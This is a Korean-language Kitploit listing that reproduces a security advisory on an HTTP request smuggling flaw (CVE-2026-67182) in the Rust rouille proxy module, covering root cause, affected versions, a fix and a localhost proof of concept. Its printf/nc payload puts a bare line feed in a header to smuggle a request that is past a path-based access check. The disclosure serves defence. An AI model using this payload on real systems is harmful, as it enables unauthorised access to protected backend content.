Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-67182-HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille- — Security Advisory: HTTP Request Smuggling Enables Front-End Access Control Bypass (rouille) | Kitploit
도구/GitHubGitHub/theopaid/cve-2026-67182-http-request-smuggling-enables-front-end-access-control-bypass-rouille-
Vulnerability AnalysisWeb Application ExploitationWeb SecurityPapers & ResearchLearning & Education
GitHubtheopaid/cve-2026-67182-http-request-smuggling-enables-front-end-access-control-bypass-rouille-

CVE-2026-67182-HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille-

Security Advisory: HTTP Request Smuggling Enables Front-End Access Control Bypass (rouille)

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
23일 전아직 검토되지 않음

보안 권고: HTTP 요청 스머글링으로 프론트엔드 접근 제어 우회 가능 (rouille)

지정된 CVE ID: CVE-2026-67182

요약

rouille::proxy::proxy 및 rouille::proxy::full_proxy는 클라이언트가 제공한 요청 헤더 값을 제어 문자 검사 없이 업스트림 연결에 복사합니다. 기반이 되는 tiny_http 헤더 파서는 CRLF에서만 헤더 줄이 끝나기 때문에, 헤더 값에는 단독 라인 피드(0x0A)가 정당하게 포함될 수 있습니다. 따라서 단독 LF를 줄 종결자로 받아들이는 백엔드는 프론트엔드 요청 하나를 두 개로 읽게 됩니다.

두 번째 요청은 메서드와 경로를 포함해 전적으로 공격자가 제어하며, 첫 번째 요청을 프록시하기로 결정한 rouille 핸들러를 절대 거치지 않습니다. 이 요청의 응답 본문도 공격자에게 반환됩니다.

영향받는 버전

저장소 URL: https://github.com/tomaka/rouille

첫 영향 버전0.3.3 (2016-12-03), src/proxy.rs가 도입된 릴리스
마지막 영향 버전3.6.2 (2023-04-24), 현재 릴리스
영향 없음0.3.2 및 이전 버전, 프록시 모듈이 없음
수정 버전작성 시점 기준 수정 버전 없음

0.3.3부터 3.6.2까지의 모든 게시된 릴리스에는 수정되지 않은 코드가 포함되어 있습니다. src/proxy.rs 파일은 3.6.2 태그와 현재 master 브랜치 사이에서 바이트 단위로 동일합니다.

proxy::proxy 또는 proxy::full_proxy를 호출하는 애플리케이션만 영향을 받습니다.

심각도

CWE-113(HTTP 헤더의 CRLF 시퀀스 부적절한 중화)을 통해 도달하는 CWE-444(HTTP 요청의 일관되지 않은 해석).

CVSS 4.0 기본 점수 6.9(중간) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N

위협 모델

공격자는 rouille 서버에 원시 HTTP를 보낼 수 있는 원격의 인증되지 않은 클라이언트입니다. 자격 증명, 사용자 상호 작용, 구성 요소 사이의 네트워크 위치가 필요하지 않습니다.

위험에 처한 배포 환경은 백엔드 앞에서 역방향 프록시 역할을 하는 rouille 애플리케이션으로, proxy()를 호출하기 전에 보안 결정(라우팅, 인증, 권한 부여 또는 콘텐츠 필터링)을 내립니다. 이때 백엔드의 HTTP 파서는 단독 LF를 헤더 줄 종결자로 받아들입니다.

측정된 백엔드 동작:

nginx와 Apache는 테스트하지 않았습니다. RFC 9112 섹션 2.2는 수신자가 단독 LF를 줄 종결자로 인식하는 것을 허용하므로, 이를 받아들이는 백엔드는 규격 내에서 동작하는 것입니다.

근본 원인

rouille/src/proxy.rs, 157~174행:

root@kitploit:~
157      for (header, value) in request.headers() {
158          let value = if header == "Host" {
159              if let Some(ref replace) = config.replace_host {
160                  &**replace
161              } else {
162                  value
163              }
164          } else {
165              value
166          };
167          if header == "Connection" {
168              continue;
169          }
170  
171          socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172      }
173      socket.write_all(b"Connection: close\r\n\r\n")?;
174      io::copy(&mut data, &mut socket)?;

171행이 취약 지점(sink)입니다. value는 신뢰할 수 없는 값이며 검증 없이 기록됩니다.

오염(taint)은 tiny_http를 통해 유입됩니다. tiny_http-0.12.0/src/client.rs의 80~102행에서는 CR 다음에 LF가 와야만 헤더 줄이 끝납니다:

root@kitploit:~
 92              if byte == b'\n' && prev_byte_was_cr {
 93                  buf.pop(); // removing the '\r'
 94                  return AsciiString::from_ascii(buf)
 95                      .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
 96              }
 97  
 98              prev_byte_was_cr = byte == b'\r';
 99  
100              buf.push(byte);

단독 LF는 100행으로 흘러가 줄 버퍼에 푸시됩니다. LF는 유효한 ASCII이므로 AsciiString::from_ascii가 이를 받아들입니다. tiny_http-0.12.0/src/common.rs 184행의 Header::from_str은 그런 다음 값을 트림(trim)만 하는데, 앞뒤 공백은 제거하지만 내부 바이트는 그대로 둡니다:

root@kitploit:~
187          let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188          let value = elems
189              .next()
190              .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191              .ok_or(())?;

그 결과 rouille 헤더 값에는 원시 \n이 포함되며, proxy.rs의 171행이 이를 업스트림 요청에 직접 기록합니다.

173행의 Connection: close는 피해를 억제하지 못합니다. 주입된 빈 줄은 173행이 실행되기 전에 첫 번째 요청을 끝내므로, 해당 헤더는 스머글된 요청에 흡수됩니다. 첫 번째 요청에는 Connection 헤더가 없어 HTTP/1.1 keep-alive가 기본값이 되며, 이것이 바로 백엔드가 계속해서 두 번째 요청을 처리할 수 있게 하는 요소입니다.

개념 증명

1단계. 백엔드 문서 루트에 공개 파일과 프록시가 보호해야 할 파일을 만듭니다.

root@kitploit:~
mkdir -p /tmp/webroot/public
echo "PUBLIC PAGE"       > /tmp/webroot/public/index.html
echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html

2단계. 8001 포트에서 keep-alive 백엔드를 시작합니다.

root@kitploit:~
cd /tmp/webroot
python3 -c '
import http.server, socketserver, sys
class H(http.server.SimpleHTTPRequestHandler):
    protocol_version = "HTTP/1.1"
    def log_message(self, f, *a):
        sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush()
socketserver.TCPServer.allow_reuse_address = True
socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever()
'

3단계. 8000 포트에서 rouille 프론트엔드를 시작합니다. /public/을 프록시하고 그 외의 모든 요청을 거부합니다.

root@kitploit:~
use rouille::{proxy, Response};

fn main() {
    rouille::start_server("127.0.0.1:8000", |request| {
        if !request.url().starts_with("/public/") {
            return Response::text("forbidden").with_status_code(403);
        }
        proxy::full_proxy(request, proxy::ProxyConfig {
            addr: "127.0.0.1:8001", replace_host: None,
        }).unwrap()
    });
}

4단계. 접근 제어가 동작하는지 확인합니다.

root@kitploit:~
printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000
root@kitploit:~
HTTP/1.1 403 Forbidden

5단계. 허용된 경로에 대해 헤더 값 안에 단독 LF가 포함된 단일 요청을 보냅니다. 아래 명령에서 \n은 단독 라인 피드이고 \r\n은 CRLF입니다. 이 차이가 공격의 전부이므로 편집기가 이를 정규화하지 않도록 주의하세요.

root@kitploit:~
printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000

결과. 백엔드 로그에는 두 개의 요청이 표시되며, 두 번째 요청은 4단계에서 프론트엔드가 거부한 경로입니다:

root@kitploit:~
[backend] "GET /public/index.html HTTP/1.1" 200 -
[backend] "GET /admin.html HTTP/1.1" 200 -

공격자는 보호된 콘텐츠도 받습니다. src/proxy.rs 224행이 업스트림 소켓의 나머지를 응답 본문으로 만들기 때문입니다:

root@kitploit:~
HTTP/1.1 200 OK
Content-type: text/html
Transfer-Encoding: chunked

d7
PUBLIC PAGE
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 18

SECRET ADMIN PAGE

영향

인증되지 않은 클라이언트는 백엔드에 임의의 요청을 보내고 그 응답을 읽을 수 있는 반면, rouille 핸들러는 허용된 요청만 보게 됩니다. 이로 인해 경로 기반 접근 제어, 핸들러에서 수행되는 인증, proxy() 호출 전에 이루어지는 모든 요청 검사가 무력화됩니다.

언급할 가치가 있는 두 가지 한계가 있습니다. proxy()는 요청마다 새 TCP 연결을 열고 풀링하지 않으므로, 고전적인 스머글링과 관련된 사용자 간 요청 큐 오염(cross-user request-queue poisoning)을 일으키지 않습니다. 또한 이 공격은 위에서 측정한 것처럼 LF를 허용하는 백엔드가 필요합니다.

해결 방법

제어 문자를 포함하는 헤더 이름과 값을 업스트림에 기록하기 전에 거부하십시오. src/proxy.rs의 157행 루프 안에서:

root@kitploit:~
if header.bytes().any(|b| b < 0x21 || b == 0x7f)
    || value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
{
    return Err(ProxyError::HttpParseError);
}
도구 다운로드
백엔드테스트한 버전주입된 LF 허용 여부
Go net/httpgo1.26.4예, 스머글된 요청에 응답함
Python http.server (protocol_version = "HTTP/1.1")CPython 3.13예, 스머글된 요청에 응답함
Node.jsv26.3.0아니요, 400 반환(llhttp strict 모드)
PHP 내장 서버8.5.8아니요, 연결을 끊음